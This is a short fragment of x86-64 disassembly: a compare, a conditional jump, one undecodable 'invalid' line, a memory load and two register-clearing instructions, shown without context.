cmp al, 1
ja 0x140014d8f
invalid
mov r10, qword [rdx]
xor r8d, r8d
xor eax, eax